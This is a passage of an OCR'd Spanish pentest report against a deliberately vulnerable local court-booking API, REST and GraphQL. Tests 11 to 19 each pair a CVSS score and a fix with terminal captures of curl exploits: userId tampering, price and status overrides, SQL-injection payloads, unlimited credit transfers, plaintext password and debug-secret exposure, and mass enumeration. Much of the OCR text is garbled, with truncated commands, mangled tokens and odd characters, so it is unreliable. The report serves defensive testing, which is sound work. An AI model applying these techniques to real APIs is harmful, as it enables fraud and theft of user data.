{"message”:"Login exitoso™,"token":"eyIhbGci0iJIUzIINIISINRSCCIGIKPXVCID.eyIpZCIoMiwicmIsZSI6INVZZXIILCIpYXQI0IEINIUXMTMS
1jgs ImV4cCIBMTC2NTcx0DYyOHD . dbEoH2 4rRhVFyvaDnBInZV_rN3@vYcdf@NNES2xeWPo "™, "user™:{"id":2, "name” : "Dario”,"email”: "userddemo
.com”,"password”: "user123”,"role": "user"}}
—kali® kali - ~/api-canchas-vulnerable-rest
$ POST http://localhost:3000/api/reservations/get \
i *Fantent—T licatio \
{1 }
{%id":

2,"userId":2,"fieldId":1,"date":"2025-12-20", "start":"18:00", "end":"19:00", "status":"CONFIRMED" }

Realizamos la modificacion de la reserva, tomamos la reserva de userID=1,

modificamos el estatus de la reserva se asign6 una cancha inexistente y se le coloco una fecha
no valida, con esto confirmamos la vulnerabilidad.
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Figura 50

Parametros ocultos2

(kali® kali - ~/api-canchas-vulnerable-rest
—4$ vl -¥ POST http://localhost:3000/api/reservations/update %
H “Content-Type: application/json” \
-H "Authorizatic Bearer TOKEN" \
d {

}

"message”:"Reserva modificada”,"reservation”:{"id":2,"userId":1,"fieldId":99, "date":"2028-99-99", "start":"18:00","end":"
19:80", "status”: "CONFIRMED" }}

I kali® kali - ~/api-canchas-vulnerable-rest
-% POST http://localhost:3000/api/reservations/update %
+ =TVD nol 21 S e \

INZIINIISInR5cCISIkpXYCI9. ey IpZCIaM1IwicmIsZSI6InYZZXT1LCIpYXQI0JEINJUXMTMAMJgsTmy

“_'. |[ | .-._-_-: . abnBinZV_rN3ovYcdtONNES2 xeWr \

{"message”:"Reserva modificada”, "reservation”:{"id":2,"userId":1,"fieldId":99, "date":"2028-99-99", "start":"18:00", "end":"
19:00", "status”: "CONFIRMED" }}

— I kali® kali - ~/api-canchas-vulnerable-rest

| i .
$ ‘1 -% POST http://localhost:3000/api/reservations/get \
-H "Content-Type: application/jso
H "A arizatio

~d "{"id":2}

\

l'id':z.'userld':1.“fieldId':99.“date'x'2028~99~99'.'start':'18:00','end':'19:00",'status':'CONFIRMED"} I

Revision API GraphQL
Obtenemos mediante curl un token valido y creamos un Booking normal
Figura 51

Parametros ocultos3

L—(kali@ kali)-[~/api-canchas-vulnerable’
$ curl -X POST http://localhost:4000/ \
-H "Content-Type: application/json” \
-d '{
"gquery”: "mutation { login(username: Y"clientel\”, password: \"clientel23\")
}

{"data":{"login™: "eyJhbGci0iIIUzIINIISINRSCCIGIKpXVCI9, ey pZCI6TITiLCI1c2VybmFtZSI6InNsaWVudGUxTiwicm9sZSI6IKFETULOT iwiaw
FOT joxNzYIMTEZMIQwfQ . VWnhfbgUFes4ZzZtkgNi5ifxpe_zMviUPLYLRVNSbnL4™}}

L—-(kali@ kali)-[~/api-canchas-vulnerable’
$ curl =X POST http://localhost:4000/ \

-H "Content-Type: n/ison” \

-H "Authorization: JhbGec101JTUzIINIISINRS5cCIGIkpXVCIG. JpZCIGIJIILCI1c2y
TULOTIiwiaWFOIjoxNzYIMTEZMIQwTQ. VinhfbgUFesZzZtKgNiSifxpe_zMviUPLYLRVNGONLA™ N\

-d

bmFtZSI6ImNsawVudGUxI1wlcmS

VY, startTime:\"2025-12-10T10:00:002\", endTime:\"2025-12-10T11:00:002Z%

{"data”":{"createBooking":{"id":"6" ,"userId":"2","totalPrice”:4@, "status":"PENDING"}}}

(kali® kali)-[~/api-canchas-vulnerable’
Lem
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En curl enviamos parametros ocultos statusOverride: “Confirmed” y priceOverride: 1
precio alterado, se evidencia que se puede manipular valores criticos sin restricciones
confirmando la vulnerabilidad.

Figura 52

Parametros ocultos4

kali® kali ~fapi-canchas-vulnerable
POST http://localhost:4000/
i ) cati 3

i
{"data":{"createBooking™:{"id":"6", "userId”:"2", "totalPrice”:4@, "status”:"PENDING"}}}
(kali® kali ~/api-canchas-vulnerable
% POST http://localhost:4000/ \
\
\
}
{"data":{"createBooking”:{"id":"7", "userId":"2","totalPrice”:1,"status":"CONFIRMED" }}}
-(kali® kali ~/api-canchas-vulnerable

Prueba 11 — Manipulacion de userld

Vulnerabilidad: Suplantacion a nivel de recurso

Descripcion: El sistema permite modificar el userld para crear o editar recursos
ajenos. Esto genera apropiacion indebida de datos.

CVSS 4.0: 8.0 — Alto

Explotacion: El atacante reemplaza userld con el de otra persona. Obtiene control
sobre sus recursos.

Recomendacion: Eliminar el parametro en entrada y obtenerlo del token JWT.

Herramientas utilizadas para validar:

REST: Burp

GraphQL: Raider

Activos afectados:
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REST: Api rest (app.js)

GraphQL: Api GranphQA (index.js)

Evidencia:

Revision API Rest

Generamos con curl un token valido y creamos una reserva normal con el userld=2
Figura 53

Manipulacion de userld]

(kali® kali- ~/api-canchas-vulnerable-rest
—5 rl -% POST http://localhost:3000/api/auth/login \
H "Conte Type: application/json” \

"message”:"Login exitoso”,"token”:"eyJhbGciOilIUzIINIiISINRScCIGIkpXVCI9,eyIpZCIOMiwicmasZSI6INVZZXIiLCIpYXQI0IEINIUXMTYS
NTksImV4cCIGMTC2NTCyMTc10X0. XrxZHiV8kiFTZIUq9qXsqHFZr4NFKLfbHnAr jEy_GD4" , "user”:{"id":2,"name":"Dario”,"email”: "user@demo
com”,“password”:"user123”,"role":"user"}}

——(kali® kali)- ~/api-canchas-vulnerable-rest
= 1] @0/api/reservations/create \

-H “Autho 10 Bearer eyJhbGc101JIUzIINIISInRScCIGIkpXVCI9 . eyIpZCIoMiwicm9sZSISInVzZXI1LCIpYXQ103E3

H

{"message”:"Reserva creada”, "reservation”:{"id":5,"userId":2,"fieldId":1,"date":"2025-12-208","start”:"1@0:00","end": "11:00
","status”:"pending"}}

Realizamos la manipulacion de userld creando la reserva a nombre de otro usuario
Figura 54

Manipulacion de userld2

I kali® kali - ~/api-canchas-vulnerable-rest

—$ POST http://localhos

H

1*message”:"Reserva creada”,"reservation”:{"id":5, "userId”:2,"fieldId":1,"date":"2025-12-20","start":"10:00","end":"11:00
","status”:"pending”}}

—  kali® kali)- ~/api-canchas-vulnerable-rest

* POST http://localhost:3000/api/reservations/create \
orizatio Bearer eyJhbGciDiJIUzZIINIISI CI6TkpXVCI9. ey]
VBR1FTZIUg9qXsqHFZr4NFKLfbHNAT JEY_GD4"™ N\

{"message”:"Reserva creada”,"reservation™:{"id":6,"userId":1,"fieldId":1, "date”:"2025-12-21" ,"start":"18:00" ,"end":"19:00
“."status":"confirmed"}}
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Verificamos los resultados confirmando la vulnerabilidad

Figura 55

Manipulacion de userld3

kali® kali ~/api-canchas-vulnerable-rest
$ POST http://localhost:3000/api/reservations/get \
\
g
{"1d":3,"userld":2,"fieldIld":1, "date”:"2025-12-2@", "start":"10:00","end":"11:00","status”:"pending”}

kali® kali ~/api-canchas-vulnerable-rest

Revision API GraphQL

Generamos un token en curl con un usuario cualquiera, y luego realizamos una
creacion de un Booking de forma normal utilizando el token de otro usuario modificamos el
userld=999 que no existe y se evidencia que no existe la validacién y no se comparé con el
usuario autenticado, confirmando la vulnerabilidad.
Figura 56

Manipulacion de userld4

(kali® kali ~/api-canchas-vulnerable
= -¥ POST http://localhost:4@00/ \

{"data":{"login":"eyJhbGciDiJIUzIINiIsINRSCCIBIKPXVCI9. ey IpZCI6IITIiLCI1c2VybmFtZSI6ImNsaWVudGUXT iwicm9sZSI6GIIVIRVIILCIpYX
Qi0JE3INJUxMTkyOTZ9. QHV-Lyc6625tBwIhL JIPhEPGSEUZviblhad_YuYxcBU"}}

(kali® kali - ~fapi-canchas-vulnerable
$ POST http://localhost:4000/ \
i b

{ ' e |
{"data":{"createBooking":{"1d":"2","userId":"999"}}}

ali® kali - ~/api-canchas-vulnerable

%
Prueba 12 — Inyeccion de payloads maliciosos
Vulnerabilidad: Lack of sanitization
Descripcion: El sistema no valida adecuadamente los datos externos, permitiendo

inyectar contenido malicioso. Esto altera logica o causa errores severos.
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Explotacion: El atacante envia payloads mal construidos o con intencion maliciosa. El

backend los procesa causando efectos no deseados.

Recomendacion: Sanitizar entradas, validar formatos y usar ORMs seguros.

Herramientas utilizadas para validar:
REST: Burp Intruder

GraphQL: Fuzzing con Raider
Activos afectados:

REST: Api rest (app.js)

GraphQL: Api GranphQA (index.js)
Evidencia:

Revision API Rest

Se realiza pruebas utilizando curl enviando payloads en varios campos, se nos

presenta codigo 200 como comprobacion de la vulnerabilidad.

Figura 57

Inyeccion de payloads maliciosos1

HTTP/1.1 2Z@e 0K

X-Powered-By: Express
Access—Control-Allow-Origin: =*

Content—-Type: applicationsJison; charset=utf-&
Content—-Length: 10@

ETag: W/ "64-1qLPR@2VsZcT/Ltt7kWLIYS@Vuo™
Date: Sun, @7 Dec 2025 15:@8:34 GMT
Connection: keep-alive

Keep-Aliwve: timeocut=35

{"i1d":1, "userId™:2, "fieldId~":1, "date”:"2025-12-10", "start”™:"1@:

f‘ffkalll)ka11'7f~/ap1 —canchas-vulnerable-rest

—5 1 i —-X PDST httD //localhost e sapisreservations/sSget
-H Co = - 1 A
[ 1, oR 1 I

HTTP/1.1 Zee OK

X-Powered-By: Express
Access—-Control-Allow-0Origin: =

Content—Type: application/json; charset=utf-8
Content—Length: 2

ETag: W/ " Z-wyGpE&PvFo4RvsFiPoIWeCReyICS"™

Date: Sun, @7 Dec 2025 15:@8:48 GMT
Connection: keep-aliwve

Keep-Alive: timeout=5

{}

:47—kallxakall ~~/api-canchas-vulnerable-rest

—% 1 S POST http //localhost 3@ sapliSreservationssSget
-H Conmtent—T c 15 A
¢ {ic 1: DROP —A:L !

HTTP/1.1 200 OK

X-Powered-By: Express
Access—-Control-Allow-0Origin: =

Content-Type: application/sJson; charset=utf-&
Content—Length: 2

ETag: W/ "2-vyGp6PvFo4RvsFtPoIWeCReyICS"

Date: Sumn, 07 Dec 2025 15:09:02 GMT
Connection: keep-alive

Keep-Alive: tTimecut=35

i}

kali®s kali ~fapi-canchas—-vulnerable-rest

@e”,"end”:"11:@@",

“"status”

:"pending”}
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Revision API GraphQL

Colocamos el payload malicioso el backend lo procesa sin bloquear ni sanitizarlo,
comprobando asi la vulnerabilidad
Figura 58
Inyeccion de payloads maliciosos2

— I kali® kali)- ~/api-canchas-vulnerable

—% [ -¥% POST http://localhost:4000/
H "Content-Type: application/jso 5,
{"query”:"guery Sers id username }
{"data":{"users":[{"1d":"1", "username”:"admin"},{"1d":"2", "username”:"clientel”}]}}

[kali® kali)- ~fapi-canchas-vulnerable
—% corl -x POST http://localhost:a4000/ °
Content-Type: applicatlon/Json” \
{"query”:"query sers{filter:y ™4\ OR 1=1 1 it }

{"data™:{"users":[1}}

[kali® kali)- ~fapi-canchas-vulnerable

4.2.2 Pruebas de logica de negocio

Este tipo de pruebas nos permite identificar fallos en las reglas internas que rigen el
funcionamiento del sistema. De este modo nos permite detectar abusos del flujo normal o
alteracion del comportamiento esperado. Los atacantes pueden aprovechar errores 16gicos
para, saltarse validaciones o crear inconsistencias operativas. Realizamos este tipo de pruebas
para asegurar que las operaciones criticas se ejecuten conforme a las reglas reales del
negocio, evitar fraudes, saltos de procesos o incoherencias que afecten a los usuarios o al

negocio.

Prueba 13 — Reservas duplicadas

Vulnerabilidad: Falta de control de disponibilidad
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Descripcion: La API permite registrar reservas repetidas para el mismo horario y
cancha. Esto rompe la 16gica de negocio.

CVSS 4.0: 6.0 — Medio

Explotacion: El atacante genera multiples reservas idénticas para saturar
disponibilidad. El backend las acepta sin validacion.

Recomendacion: Implementar validacion de solapamiento.

Herramientas utilizadas para validar:

REST: Postman

GraphQL: Playground

Activos afectados:

REST: Api rest (app.js)

GraphQL: Api GranphQA (index.js)

Evidencia:

Utilizando curl creamos dos reservar de forma duplicada con esto confirmamos la
vulnerabilidad.
Figura 59

Reservas duplicadas 1

kali® kali ~/api-canchas-vulnerable-rest
% POST http://localhost:3000/api/reservations/create \
tent-Type oplicat S A\

}

"message”:"Reserva creada”, "reservation”:{"id":2,"userId":2,"fieldId":1,"date"”:"2025-12-10", "start”:"10:00","end":"11:00
I, "status”:"pending” 1}

kali® kali ~/fapi-canchas-vulnerable-rest
5 POST http://localhost:3000/api/reservations/create \
tent-Type plicati S A\

}

"message”:"Reserva creada”, "reservation”:{"id":3,"userId":2,"fieldId":1,"date"”:"2025-12-10", "start”:"10:00","end":"11:00
[, "status”™:"pending”}}

kali® kali ~/fapi-canchas-vulnerable-rest
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Revision API GraphQL

Se evidencia que la Api permite crear multiples reservas para la misma cancha en el
mismo intervalo de tiempo sin validar disponibilidad ni conflictos en la agenda. Esta falla de
logica de negocio compromete la integridad operativa del sistema.
Figura 60

Reservas duplicadas?

kali® kali -
§ curl -5 -X POST http://localhost:4000/ \
H "Content-Type: apolicati Jzan” \
{"query tatio Login{username:\"clientel\", password:\"¢lientel23\ }

{"data":{"login":"eyJhbGci0iJIUzIINiIsINRScCIGTkpXVCI9, eyIpZCIAIITiLCI1c2VybmFtZSI6ImNs aWVudGUXTiwicm9sZSI6IIVIRVIILCIpYX
Qi0FE3NJcONTYSMTFY . 3DFghzTop83dADpTICKIOwMFjGTP2ErPdY4ZEc5_vs" }}

kali® kali -
% TOKEN=eyJhbGciOiJIUzIINIISINRScCIGIkpXVCI9.eyIpZCI6IjIiLlCIlc2VybmFtZSI6ImNSaWVudGUXxIiwicmIsZSIGIIVTRVIILCIpYXQIiOFEIN]
CONTYSMTF9,3DFghzTcp83dADpTICK3OWMFIG7P2ETPdY4ZECQS_vs

-(kali® kali)-[~
$ 1 < POST http://localhost:4000/ Y
tent-Type licat i 5

\

{"data”:{"createBooking":{"id":"3","fieldId":"1", "userId™:"2","startTime":"2026-01-03T18:00:00Z", "endTime": "2026-01-03T19
:@@:00Z", "status”: "PENDING™, "totalPrice”:40}}}

kali® kali =]
$ 1 ¥ POST http://localhost:4000/ \
R e L A S -

{"query ery DOOKINGS 1d fieldId userld startTime : ime stat totalPric }

{"data”:{"bookings":[{"id":"1","fieldId";:"1","userId":"2","startTime";"2025-12-10T18:00:00Z","endTime":"2025-12-10T19:0@:
00Z" ,"status”:"CONFIRMED™,"totalPrice™:40},{"id":"2" ,"fieldId":"1", "userId™:"2", "startTime":"2026-01-03T18:00:00Z", "endT1i
me":"2026-01-03T19:00:002","status": "PENDING", "totalPrice":40},{"id":"3", "fieldId":"1","userId":"2","startTime":"2026-01-
03T18:00:00Z","endTime" :"2026-01-03T19:00:00Z", "status”: "PENDING" ,"totalPrice™:40}]1}}

Prueba 14 — Manipulacion de precios

Vulnerabilidad: Precio controlado por el cliente

Descripcion: El usuario puede enviar el precio final manualmente alterando célculos
comerciales.

Esto permite fraude econdémico.

CVSS 4.0: 8.5 — Alto

Explotacion: El atacante envia totalPrice = 1.00 y el sistema lo acepta. Evita célculos
reales de costo.

Recomendacion: El backend debe calcular todos los precios.

Herramientas utilizadas para validar:
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REST: Burp

GraphQL: Mutation manual

Activos afectados:

REST: Api rest (app.js)

GraphQL: Api GranphQA (index.js)

Evidencia:

Realizamos una primera creacion de reserva y luego una segunda inyectando un
campo (totalPrice) que no deberia venir del cliente, el resultado es exitoso confirmando la
vulnerabilidad.

Figura 61

Manipulacion de precios

kali® kali ~/api-canchas-vulnerable-rest
—4$ POST http://localhost:3000/api/reservations/create
1
{
F1
t
{"message”:"Reserva creada”,"reservation”:{"id":4,"userId":2, "fieldId":1,"date”:"2025-12-10","start™:"10:00","end":"11:00

", "status”:"pending”}}

kali® kali)- ~/api-canchas-vulnerable-rest
—5 -% POST http://localhost:3000/api/reservations/create %

[iotaiesice”: :

{"message”:"Reserva creada”,"reservation”:{"id":5,"userId":2,"fieldId":1, date”:"2025-12-10", "start™:"1@:00", "end":"11:00
", "status”:"pending”}}

TR JrOF- NP Y [ 2SN T S S ——

Revision API GraphQL

Creamos una primera reserva utilizando el mismo token generado al inicio
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Figura 62

Manipulacion de precios?2

(kali® kali ~/api-canchas-vulnerable
$ % POST http://localhost:4000/ \
e: appl \

{ .y B T % . 1

{"data™:{"login™:"eyJhbGci0iJIUZIINIiISInR5cCIGIKPXVCI9.eyIpZCIBIFIiLCI1c2VybmFtZSI6ImNS aWVudGUXT iwicm9sZSIBILVTRVIILCIpYX
Qi0jE3NjUxMig@Nzh9 . BeQwRIeQDFK1MpgUGIy@INFIeRhtWD2-xI-rhbMEwpuY ™} }

(kali® kali ~/api-canchas-vulnerable
$ Y POST http://localhost:4000/ \

{"data":{"createBooking":{"id":"5", "fieldId™:"1","totalPrice":40}}}

Luego creamos una segunda reserva incluyendo inyectando un campo que no deberia
ser ingresado por el cliente, de esta manera confirmamos la vulnerabilidad.
Figura 63

Manipulacion de precios3

(kali® kali ~/api-canchas-vulnerable
4 -% POST http://localhost:4000/ \

\

{

IIIIIIIIIIIIIIIIIIII ) z Booking(fieldI 1 tartTi 202 12-18T1 i i 25-12-16T11: nez

{"data":{"createBooking™:{"id":"6","fieldId":"1", "totalPrice”:1}}}

(kali® kali ~/api-canchas-vulnerable
<« N

Prueba 15 — Saltarse flujo de aprobacion/pago

Vulnerabilidad: Alteracion manual del estado

Descripcion: El cliente puede fijar estados como "CONFIRMED" sin cumplir paso
previo. Esto viola la l6gica transaccional.

CVSS 4.0: 8.3 — Alto

Explotacion: El atacante envia una actualizacion de estado sin autorizacion. El
backend lo acepta sin validar proceso.

Recomendacion: Validar estados y exigir reglas de flujo en backend.
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Herramientas utilizadas para validar:
REST: Burp

GraphQL: Playground

Activos afectados:

REST: Api rest (app.js)

GraphQL: Api GranphQA (index.js)

Evidencia:

123

En un curl se realiza la creacidon de una reserva modificando el estatus de la misma a

“Confirmed”, se evidencia que no hay una validacion de rol ni del flujo, em la prueba se

envio el estatus y el backend lo acepto.
Figura 64

Saltarse flujo de aprobacion/pagol

(kali® kali |- ~/api-canchas-vulnerable-rest
—% < -% POST http://localhost:3008/api/reservations/create
-H "Content-Type: application/jsc \

{"message":"Reserva creada”,"reservation”:{"id":8,"userId":2,"fieldId":1, "date"”:"2025-12-10","start™:"10:00","end":"11:00

", "status”:"pending”}}

(kalif® kali) [ ~/api-canchas-vulnerable-rest
Lg -% POST http://localhost:30008/api/reservations/get \
-H "Content-Type: application/jsc \
{*id":2}

{"id":2,"userId":2,"fieldId":1,"date":"2825-12-18","start”:"10:08","end”:"11:08", "status": "pending"}

—(kali® kali)- ~/api-canchas-vulnerable-rest’
—$ curl -xX POST http://localhost:3000/api/reservations/update
; Cont t-Type: applicatio ] \
L

id*: 2,

H

{"message":"Reserva modificada","reservation”:{"id":2,"userId":2,"fieldId":1,"date":"2025-12-10","start":"1@:00", "end": "1

1:00", "status”: "CONFIRMED"}}
i (kali® kali)- [ ~/api-canchas-vulnerable-rest
—4% -X PO%T httD:f{?ggélhostE3000!apifreservations!get k3
= l{ ..i ype: application/jsc \ .
{"id":2,"userId":2,"fieldId":1, "date":"2025-12-1@", "start":"10:00", "end":"11:00","status":"CONFIRMED"}

[ -=hali@}ka1il-'~fapi-canchas-vulnerable-rest'
L <

Revision API GraphQL
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De la misma manera se genera un nuevo token con el cual se solicita la creacion de la
reserva y posterior realizamos un cambio directo en el estado indicando que se confirmd, con
esto identificamos que el api es susceptible a manipulaciones directas, no hay légica de
transicion de datos ya que no hay una validacion en el flujo.

Figura 65

Saltarse flujo de aprobacion/pago?2

kali® kali ~/api-canchas-vulnerable
$ POST http://localhost:4@00/ \

H
{"data”:{"booking":{"id":"1", "userId":"2","fieldId":"1","startTime":"2025-12-10T18:00@:00Z","endTime":"2025-12-10T19:00:00
Z","status”™:"CONFIRMED"}}}

kali® kali ~fapi-canchas-vulnerable
$ POST http://localhost:4@@0/ \

{"data”:{"login": "eyIhbGci0ilIUzIINIiIsInRScCIHIKkpXVCI9. ey pZCI6TJIILCI1c2VybmFtZSI6ImNsaWVudGUxTIiwiem9sZSI6ILVTRVIILCIpYX
Qi0JE3NFUXNDA3M]Id9. HX5Mt 1bgGsnIimI7gX jbbECVLIQUSdib2mfVGx jmgms ™} }
kali® kali ~fapi-canchas-vulnerable’
$ POST http://localhost:4000/ \

{"data”:{"updateBookingStatus":{"1d":"1","status":“"CONFIRMED" }} }
kali® kali ~/api-canchas-vulnerable
—$ POST http://localhost:4@00/

1
i

{"data”:{"booking":{"id":"1","userId":"2", fieldId":
Z","status”:"CONFIRMED" }}}

1%, "startTime™:"2025-12-10T18:00:00Z" ,"endTime™: "2025-12-10T19:00:00

Prueba 16 — Transferencias indebidas / fraude

Vulnerabilidad: Manipulacion de montos y saldos

Descripcion: La API permite transferir créditos sin controlar limites ni identidad.
Puede causar saldos negativos o fraude.

CVSS 4.0: 8.7 — Critico

Explotacion: El atacante envia montos extremadamente altos o negativos. La API
procesa la solicitud sin validacion.

Recomendacion: Implementar limites por operacion y validacion antifraude.
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Herramientas utilizadas para validar:
REST: Postman

GraphQL: Mutaciones manipuladas

Activos afectados:

REST: Api rest (app.js)

GraphQL: Api GranphQA (index.js)
Evidencia:

Se evidencia que el backend no valida que campos debe recibir lo que demuestra una

manipulacion en la logica, lo que puede conllevar a un fraude.

Figura 66

Transferencias indebidas / fraudel

$

[{i

kali® kali ~fapi-canchas-vulnerable-rest
POST http://localhost:3000/api/users/list %

d":1,"name”:"Admin”,"email”: "admin@demo.com”, "password”:"admin123","role":"admin"},{"id":2, "name”:"Daric”,"email”:"us

argdemo.com”, "password”: "user123” ,"role”: "user”}]

€

kali® kali - ~/api-canchas-vulnerable-rest
POST http://localhost:3@008/api/reservations/update %

["me

ssage"”:"Reserva modificada™, "reservation":{"id":1,"userId":2,"fieldId":1, "date":"2025-12-1@", "start":"10:00","end":"1

1:0@","status”:"pending”}}

kali® kali ~f/api-canchas-vulnerable-rest

Revision API GraphQL

Se acepto amount: 99999 sin limite permite colocar datos en el registro del usuario

con valore negativos lo cual se evidencia que no hay validaciones de las reglas de negocio.
La Api procesa montos desproporcionados sin validar limites, sin controles de autorizacion

sobre la cuenta origen.
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Figura 67

Transferencias indebidas / fraude?2

kali® kali - ~/api-canchas-vulnerable

1 -X% POST http://localhost:4000/ \
{ b

{"data™:{"users":[{"id":"1","username”:"admin”, "credits":-99499},{"id":"2","username”:"clientel”,"credits”:100049}]1}}

(kali® kali)- ~/api-canchas-vulnerable
$ 1 POST http://localhost:4000/ \

{ ry” tatic 2 rnam : 1 : : lentell }

{"data":{"login":"eyJhbGci0iIIUzIINIIsINRSCCI6IkpXVCI9. eyIpZCI6IFIiLCI1c2VybmFtZSI6ImNsaWVudGUxTiwicm9sZSI6TIVTRVIILCIpYX
QIOJE3INJUXNDIwWNZZ9. FYa34wEWZNMEUrWSeDdhO4uITaTDZOY IdV7AI ICKHSE " }}

(kali® kali - ~fapi-canchas-vulnerable
$ 1 POST http://localhost:4000/

U [ ! ) | \

15 Y
] \

}

{"data":{"transferCredits":true}}

— kali® kali |- ~/api-canchas-vulnerable
L POST http://localhost:4008/ \

1

{"data™:{"users":[{"id":"1","username”:"admin”, "credits":-199498},{"id":"2", "username”:"clientel”,"credits" :200048}1}}

R SN Ll L e S i L e

4.2.3 Evaluacion del acceso a datos

Estas pruebas nos permiten determinar si la API expone mas informacion de la
necesaria o es accesible para un usuario no autorizado. Si la API permite acceder a datos de
otros usuarios, puede comprometer los datos almacenados. Se debe realizar este tipo de
pruebas para verificar que cada usuario solo pueda acceder a su propia informacion, evitar

filtraciones, fugas y compromiso de datos personales o sensibles.

Prueba 17 — Exposicion de contrasefas

Vulnerabilidad: Passwords en texto plano

Descripcion: El sistema expone contrasefias sin hashing, accesibles desde endpoints o
queries. Esto compromete la totalidad de cuentas.

CVSS 4.0: 10.0 — Critico
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Explotacion: El atacante solicita una lista de usuarios y obtiene contrasefias reales. No
hay proteccion ni cifrado.

Recomendacion: Usar berypt, nunca almacenar ni devolver contrasefias.

Herramientas utilizadas para validar:

REST: Postman

GraphQL: Playground

Activos afectados:

REST: Api rest (app.js)

GraphQL: Api GranphQA (index.js)

Evidencia:

Se evidencia que la Api muestra informacién sensible de contrasefias en texto plano.
Figura 68

Exposicion de contraserias

{kali® kali ~/api-canchas-vulnerable-rest
$ L -x POST http://localhost:3000/api/auth/login \
C Tvp icat ) L
i g A G s dmin1z3"}

{"message”:"Login exitoso”,"token”:"eyJhbGciOiJIUzIINIiISInRScCIGIkpXVCI9, eyIpZCIoMSwicm9sZSI6ImFkbWLuTiwiaWFeI joxNZY1MTQy
NIY5LCITeHAIOJE3NJUINDC@ONILY . Q38shGopAWLVWZ FOVIWZ vWeQOWE 2y PBWALSCcTLLk2p3w” , "user” :{"1d":1, "name"” : "Admin", "email” : "admin@de
mo.com”™,"password”:"admin123", "role":"admin™}}

(kali® kali ~/api-canchas-vulnerable-rest
$ -% POST http://localhost:3000/api/users/list \

[{"id":1,"name”:"Admin","email”: "admin@demo.com”, "password”:"admin123","role":"admin"},{"1id":2, "name” :"Dario”,"email™: "us
er@demo.com”, "password”: "user123”,"role”":"user"}]

Revision API GraphQL
Se evidencia que los datos estdn expuestos en texto plano sin mecanismos de

proteccion mediante técnicas de cifrado. Por lo cual se confirma la vulnerabilidad.
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Figura 69

Exposicion de contraserias?2

(kali® kali ~fapi-canchas-vulnerable
$ POST http://localhost: 4000/ \
: 1 \
{"data”:{"users":[{"id":"1","username”:"admin"},{"id":"2", "username”:“clientel"}1}}
(kali® kali ~/api-canchas-vulnerable

POST http://localhost:&000/ \

L L1 L1 - \'.
r )
{ ( ]

"data”:{"users®:[{"1d":"1","username”:"admin”, "password”: "admin123°},{"id":"2","username”:"clientel”, "password”:"cliente
23" 11}

Prueba 18 — Exposicion de informacion interna

Vulnerabilidad: Exposicion de variables sensibles

Descripcion: La API revela configuraciones internas como claves, tokens y rutas de
debug. Esto expone secretos criticos del entorno.

CVSS 4.0: 10.0 — Critico

Explotacion: El atacante consulta un endpoint como /debug/env o introspeccion
GraphQL.

Obtiene secretos internos aprovechables para nuevos ataques.

Recomendacion: Eliminar endpoints de depuracion y proteger configuracion.

Herramientas utilizadas para validar:

REST: Browser

GraphQL: Introspection queries

Activos afectados:

REST: Api rest (app.js)

GraphQL: Api GranphQA (index.js)

Evidencia: Se evidencia que el api presenta informacion sensible en texto claro, de

usuarios de maximos privilegios.
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Figura 70

Exposicion de informacion internal

—(kali® kali)-_~/api-canchas-vulnerable-rest’

—$ -¥ POST http://localhost:3000/api/debug/env

{"jwt_secret”:"supersecret”,"node_env": "development”,"db_string”:"postgres://admin:passworddlocalhost:5432/demo”}

—(kali® kali)-_~/api-canchas-vulnerable-rest’

=l |

Revision API GraphQL

Se evidencia informacion sensible lo cual confirma la vulnerabilidad.
Figura 71

Exposicion de informacion interna?2

kali® kali ~fapi-canchas-vulnerable
3 POST http://localhost:4000/

":{"debugEnv":{" jwtSecret”: "supersecret”,"nodeEnv":"development”,"dbString”: "postgres: //admin:passwordalocalhost:54
"1}

kali® kali ~fapi-canchas-vulnerable

Prueba 19 — Enumeracion masiva de datos

Vulnerabilidad: Falta de limites en consultas

Descripcion: El sistema entrega grandes volimenes de informacion sin filtros,
paginacion o limites.

Esto facilita scraping masivo.

CVSS 4.0: 7.8 — Alto

Explotacion: El atacante solicita /users o {users {...}} y extrae toda la base. El
sistema lo entrega sin restricciones.

Recomendacion: Aplicar limitacion, paginacion y autorizacion por registro.

Herramientas utilizadas para validar:

REST: Postman

GraphQL: Query de listas extensas

Activos afectados:
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REST: Api rest (app.js)

130

GraphQL: Api GranphQA (index.js)

Evidencia:

Se evidencia que se puede identificar informacion sensible del sistema

Figura 72

Enumeracion masiva de datos 1

zsh: corrupt history file /home/kali/.zsh_history
—(kali® kali - ~/api-canchas-vulnerable-rest

$ rl http://localhost:3000/api/users

1 http://localhost:3000/api/reservations
~url http://localhost:3000/api/bookings

[{"id":1,"name": "Admin", "email”:"admin@demo.com”, "password”: "admin123","role”:"admin"},{"id":2, "name”: "Dario”,"email™: "us
erfdemo.com”, "password” : "user123”, "role": "user”}]<!DOCTYPE html>

<html lang="en">

<head>

<meta charset="utf-8">
<title>Error</title>

</ head>

<body>

<pre>Cannot GET /api/reservations</pre>
</body>

</html>

<!DOCTYPE html>

<html lang="en">

<head>

<meta charset="utf-8">
<title>Error</title>

</head>

<body>

<pre>Cannot GET /api/bookings</pre>
</body>

</html>

(kali® kali - ~/api-canchas-vulnerable-rest

Revision API GraphQL

Se confirma la vulnerabilidad de enumeracion masiva de datos

Figura 73

Enumeracion masiva de datos2

(kali® kali ~fapi-canchas-uu1nerahle
¢ - POST http://localhost:4000/graphgl \
[ pli 1 \

{

{"data":{"users™:[{"id":"1", "username”:"admin”, "email”

ntel@canchas.com™}], "bookings™:[{"id":"1", "userId":"2"

(kali® kali)- ~fapi-canchas-vulnerable’

s

fieldI }

, “fieldId":"1"}1}}
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4.3 Pruebas Manuales, Automatizadas y Semiautomatizadas

Estas pruebas nos sirven para aplicar multiples métodos de validacion para identificar
vulnerabilidades que no se detectan solo con pruebas manuales. De esta manera aseguramos
una evaluacion profunda. Cada tipo de prueba detecta fallas diferentes: manuales para logica
de negocio, automatizadas para patrones técnicos y semiautomaticas para fuzzing y
explotacion. El uso conjunto aumenta significativamente la cobertura del pentesting,
permitiendo encontrar vulnerabilidades complejas que no son visibles mediante un tnico
enfoque. Esto nos permite garantizar que la API sea evaluada de forma completa desde
multiples perspectivas.
4.3.1 Revisiones Manuales

Permitieron comprender a profundidad el comportamiento real de las APIs REST y
GraphQL, evaluando directamente la 16gica de negocio, el flujo de datos y la reaccion del
sistema ante entradas especificas. Este enfoque aport6 a nuestra metodologia una base solida
de entendimiento funcional, permitiendo identificar vulnerabilidades sutiles que requieren
criterio técnico y que no pueden ser detectadas por herramientas automaticas. Gracias a estas
pruebas, la metodologia gano precision y capacidad de analisis contextual.
4.3.2 Revisiones Semiautomadticas

Realizadas mediante herramientas como Burp Suite, brindaron un equilibrio ideal
